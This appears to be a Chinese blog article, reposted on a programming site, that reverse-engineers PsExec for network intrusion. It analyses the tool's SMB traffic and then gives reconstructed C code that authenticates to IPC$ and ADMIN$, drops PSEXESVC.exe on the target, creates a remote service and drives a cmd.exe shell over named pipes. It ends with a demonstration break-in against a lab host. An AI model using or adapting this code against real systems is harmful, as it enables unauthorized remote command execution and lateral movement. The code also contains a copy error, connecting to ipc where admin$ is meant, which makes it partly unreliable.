欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

PSTOOLS系列工具分析----对PSEXEC的逆向解析

程序员文章站 2024-03-30 20:03:39
在网络攻击中,经常用到一个工具系列叫pstools,它是由Sysinternals公司推出的一个功能强大的Windows NT/2000远程管理工具包,最新版本为V2.1,包含了10多个工具。...

在网络攻击中,经常用到一个工具系列叫pstools,它是由Sysinternals公司推出的一个功能强大的Windows NT/2000远程管理工具包,最新版本为V2.1,包含了10多个工具。在入侵时,最常用的就是其中的psexec(获取对方Shell)、pslist(列举进程)、pskill(杀进程)等工具,它们使用简单,功能强大。只可惜虽然pstools的版本不断升级,但Sysinternals始终没有给出这些工具的源代码。这不符合技术共享的精神,也不利于大家的技术研究。因此,我决定对这些工具一一解析,尽管不是非常准确,但逆向工程就是这样,只要能基本推出实现思路,并给予还原即可。
本文解析的是psexec.exe,这是我目前用的相对频繁的一个工具。
Psexec的功能及用法
通过IPC对内网Windows 2000入侵时,在知道目标系统管理员权限的用户名和密码的情况下,如果对方开了IPC$和任一共享目录,我们就能够通过Copy命令或者在程序中通过CopyFile()函数拷贝一个可执行文件到目标系统中去,但是要让该文件执行起来却不是那么容易的事情。Windows 2000下有个at 命令,可以在建立IPC连接之后,让目标机器上的某一程序定时运行,格式为:
at \\目标机器 目标机器时间 可执行文件
但是实际使用时,目标机器时间是以分钟为单位,而且该机器Task Scheduler服务没有开放则会失败,总感觉不那么好用。而且想通过at命令进入目标系统下随心所欲地执行命令更是不可能。psexec.exe可以很轻松地实现这一功能。它参数很多,可以直接在命令行下输入psexec.exe命令查看,其核心功能就是远程或本地执行任意命令,并将执行的结果返回并显示出来。这里我们解析最关心的部分,就是获取远程机器的Shell(CMD窗口),即通过psexec执行远程机器cmd命令,工具用法如下:
psexec –u user –p pass cmd.exe

 

图2就是我们熟悉的DOS窗口了,dir、cd等命令任意执行都可以,是不是感觉有点像溢出攻击时的效果啊?呵呵,下面,我们来解析其中的执行流程。
思路解析
其实解决任何技术问题的前期思路都是很重要的,清晰的思路可以让我们满怀信心地沿着正确的方向前行,达到事半功倍的效果。
对psexec这类工具的解析基本思路是:网络数据包分析+静态反汇编分析+动态调试分析+代码还原。具体步骤如下:
 利用Sniffer对psexec执行时数据包进行捕获并分析,有助于分析工具使用的协议和大致通信流程,这里的Sniffer工具选用Ethereal。
 通过静态反汇编工具分析psexec,主要可以了解工具使用了哪些函数,结合前面数据包分析起来就更加清晰。
 在了解工具通信流程和使用函数后,随后通过Softice对部分执行过程进行跟踪,获取函数调用时参数并整理思路。
 代码还原。
OK,基本思路确立之后,让我们开始吧!
详细过程及代码
首先利用Ethereal分析通信数据包。这里假设目标机器为192.168.3.231,psexec运行的机器为192.168.3.158。
运行Ethereal,打开“Capture”“Start”,在“Capture Filter”中填上:“host 192.168.3.158 and host 192.168.3.231”,这样如果两台机器没有其它通信的话,就只捕获到它们在psexec运行时的数据包了。点击“OK”后开始抓包,然后按前面的用法执行psexec。在获取目标机器DOS窗口后,点击 Ethereal的“STOP”按扭,前面已经捕获的数据包便显示出来了。

通过“Protocol”这一项,可以看到psexec在通信时主要用到了SMB这个应用层协议。简而言之,SMB(服务器信息块)协议是一个通过网络在共享文件、设备、命名管道和邮槽之间操作数据的协议,我们建立IPC连接、映射网络驱动、拷贝文件等操作都是基于SMB协议。在Windows2000下,SMB协议可以直接运行于TCP层之上,对应TCP端口为445,也可以运行于NETBIOS接口之上,对应TCP端口为139。SMB数据包结构如下:
----------------------
| IP Header | 20字节
----------------------
| TCP Header | 20字节
----------------------
| NETBIOS Header | 4字节
----------------------
| SMB Base Header | 32字节
----------------------
| SMB Command Data |
------------------------------
当SMB直接运行于TCP上时,4字节的NETBIOS Header以其它4字节特殊字符代替。本实验中目标机器192.168.3.231 上SMB协议直接运行于TCP上,开放445端口。根据捕获的数据包,分析双方通信流程如下:
 192.168.3.158向192.168.3.231发送一个SMB negprot请求数据报(negprot是磋商协议“negotiate protocol”的简写),列出了它所支持的所有SMB协议版本。
 192.168.3.158向192.168.3.231向服务器发起一个用户或共享的认证。这一步是Session setup and X请求数据报实现的,该请求包含了一对用户名和密码。
 在完成了磋商和认证之后,192.168.3.158发送一个TconX数据报并列出它想访问的特定网络资源IPC$和ADMIN$, 之后192.168.3.231会发送一个TconX应答数据报以表示此次连接是否接受或拒绝。
 在192.168.3.231同意访问上述资源后,192.168.3.158通过UNC规则在192.168.3.231上的ADMIN$目录下创建文件PSEXESVC.exe,并以此文件在192.168.3.231上创建服务。该服务负责执行用户提交的命令,并创建了4个命名管道,分别是接收命令参数 cmd.exe的管道hPipe,返回结果的管道hPipeStdout,在cmd中继续输入dir、cd等命令的hPipeStdin,以及返回错误信息的管道hPipeStderr。
 在发出命令参数 cmd.exe后,两个进程之间的通信实际上都是通过那4个命名管道来完成的。
 通信结束后,删除192.168.3.231的PSEXESVC.exe及相关服务。

到这里,我们已经知道了整个通信过程的大体信息。在代码还原之前,可以用反汇编工具看看psexec究竟调用了哪些API函数。运行W32Dasm89(小心使用,不要被溢出了),打开psexec.exe,从functionsimports中看到程序中使用的API函数。

上面分析出的通信流程中可能涉及的函数居然都有,那就应该没什么问题了,现在对应流程把代码一步步写出来就行了。可能在实现过程中,一些函数的参数不好设置,往往会耽搁很久的时间。不过不着急,还有Softice。例如,你确定CreateFile函数会被调用,则在Softice中设置断点 bpx CreateFileA( 不分大小写),当程序调用该函数时,就会在函数入口处停留下来,并弹出Softice。输入命令 d esp + 4(因为只压入了eip)就可以依次看到各参数的值了。由于代码较长,这里只给出主要部分,详细代码参见光盘附带的psexec源程序。
至于SMB协议的磋商、认证和请求资源这3步,通过WNetAddConnection2( )函数完成:
NETRESOURCE nr = {0};

//构造连接请求字符串
swprintf(ipc, _T("\\\\%s\\ipc$"), ptp->tIp);
swprintf(admin, _T("\\\\%s\\admin$"), ptp->tIp);

nr.lpLocalName=NULL;
nr.lpProvider=NULL;
nr.dwType = RESOURCETYPE_ANY;
//请求IPC$
nr.lpRemoteName = ipc;
WNetAddConnection2(&nr, ptp->tPass, ptp->tUser, 0);
//请求ADMIN$
nr.lpRemoteName = ipc;
WNetAddConnection2(&nr, ptp->tPass, ptp->tUser, 0);
Psexesvc.exe整个文件的内容是以数组的形式放在psexec源文件中的。在本地测试时,很容易得到psexesvc.exe,然后用编辑工具WinHex.exe打开psexesvc.exe,点击“Edit”“Copy all”“C source”,粘贴到psexec源文件中即可。在192.168.3.231上创建文件主体代码如下:
swprintf(ptp->tSvcPath, _T("\\\\%s\\admin$\\system32\\PSEXESVC.EXE"), ptp->tIp);
hPsexesvc = CreateFile(ptp->tSvcPath, GENERIC_WRITE, FILE_SHARE_WRITE|FILE_SHARE_READ, &sa, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
//往该文件中写数据, 共61440字节
unsigned char szWrite[1460];
DWORD nWritten;
int i;
for(i = 0; i < 42; i++)
{
memcpy(szWrite, strFileData + (i * 1460), 1460);
WriteFile(hPsexesvc, szWrite, 1460, &nWritten, NULL);
}
//最后120字节
memcpy(szWrite, strFileData + (42 * 1460), 120);
WriteFile(hPsexesvc, szWrite, 120, &nWritten, NULL);
创建并启动服务:
swprintf(tRemoteName, _T("\\\\%s"), ptp->tIp);
//打开服务控制管理器
ptp->hSCManager = OpenSCManager(tRemoteName, NULL, 0x000f003f);

//创建服务
ptp->hService = CreateService(ptp->hSCManager, _T("PSEXESVC"), _T("PsExec"), 0x000f01ff, 0x00000010, 3, NULL, _T("%SystemRoot%\\system32\\PSEXESVC.EXE"), NULL, NULL, NULL, NULL, NULL);

//获取服务句柄
ptp->hService = OpenService(ptp->hSCManager, _T("PSEXESVC"), GENERIC_ALL);

//启动服务
StartService(ptp->hService, 0, NULL);

//获取命名管道客户端句柄
HANDLE hPipe, hPipeStdin, hPipeStdout, hPipeStderr;
swprintf(tPipeName, _T("\\\\%s\\pipe\\psexecsvc"), ptp->tIp); //ptp->tHostName为psexec.exe所在计算机名
swprintf(tStdIn, _T("\\\\%s\\pipe\\psexecsvc-%s-0-stdin"), ptp->tIp, ptp->tHostName);
swprintf(tStdOut, _T("\\\\%s\\pipe\\psexecsvc-%s-0-stdout"), ptp->tIp, ptp->tHostName);
swprintf(tStdErr, _T("\\\\%s\\pipe\\psexecsvc-%s-0-stderr"), ptp->tIp, ptp->tHostName);

//hPipe负责接收参数cmd.exe
hPipe = CreateFile(tPipeName, 0xc0000000/*GENERIC_WRITE|GENERIC_READ*/, 0, NULL, OPEN_EXISTING, 0, NULL);

//发送命令参数
memcpy(ptp->szWriteBuf, "<%", 2);
memcpy(ptp->szWriteBuf + 8, ptp->szHostName, 15);
memcpy(ptp->szWriteBuf + 268, "cmd.exe", 7);
DWORD dwReadBytes;
TransactNamedPipe(hPipe, ptp->szWriteBuf, sizeof(ptp->szWriteBuf), ptp->szReadBuf, sizeof(ptp->szReadBuf), &dwReadBytes, NULL);

//hPipeStdin负责标准输入
hPipeStdin = CreateFile(tStdIn, 0x40000000/*GENERIC_WRITE*/, 0, NULL, OPEN_EXISTING, 0, NULL);

//hPipeStdout负责标准输出
hPipeStdout = CreateFile(tStdOut, 0x80000000/*GENERIC_READ*/, 0, NULL, OPEN_EXISTING, 0, NULL);

//hPipeStderr负责错误处理
hPipeStderr = CreateFile(tStdErr, 0x80000000/*GENERIC_READ*/, 0, NULL, OPEN_EXISTING, 0, NULL);
通过管道进行通信:
while(1)
{
//读取返回信息
bRet = ReadFile(hPipeStdout, ptp->szReadBuf, sizeof(ptp->szReadBuf), &dwReadBytes, NULL);
if(bRet && dwReadBytes != 0)
{
printf("%s", ptp->szReadBuf);
memset(ptp->szReadBuf, 0, sizeof(ptp->szReadBuf));
PeekNamedPipe(hPipeStdout, ptp->szReadBuf, sizeof(ptp->szReadBuf), &dwReadBytes, NULL, NULL);
if(dwReadBytes > 0)
continue;
}
//继续输入命令
gets(szInput);
//判断是否是exit
if(strcmp(szInput, "exit") == 0)
{
结束操作,参见psexec源文件
}
int l = strlen(szInput);
szInput[l] = 0x0d;
szInput[l + 1] = 0x0a;
for(int i = 0; i < l + 2; i++)
{
//逐字节发送命令,如dir,呵呵,好象必须一字节一字节发送,//否则会出错,这是通过Softice跟踪时发现的,55,好辛苦
WriteFile(hPipeStdin, &szInput[i], 1, &dwReadBytes, NULL);
}
} //while结束
好了,工具的代码还原部分完成了。测试一下,输入:
psexec 192.168.3.231 –u administrator –p ****
回车,OK,进去了!
小结
本文我主要对工具psexec.exe进行了解析,并给出了大概的代码。其实整个过程并不复杂,清晰的思路才是关键,这一点对于我们搞入侵研究的人尤为重要,希望能给朋友们一点启示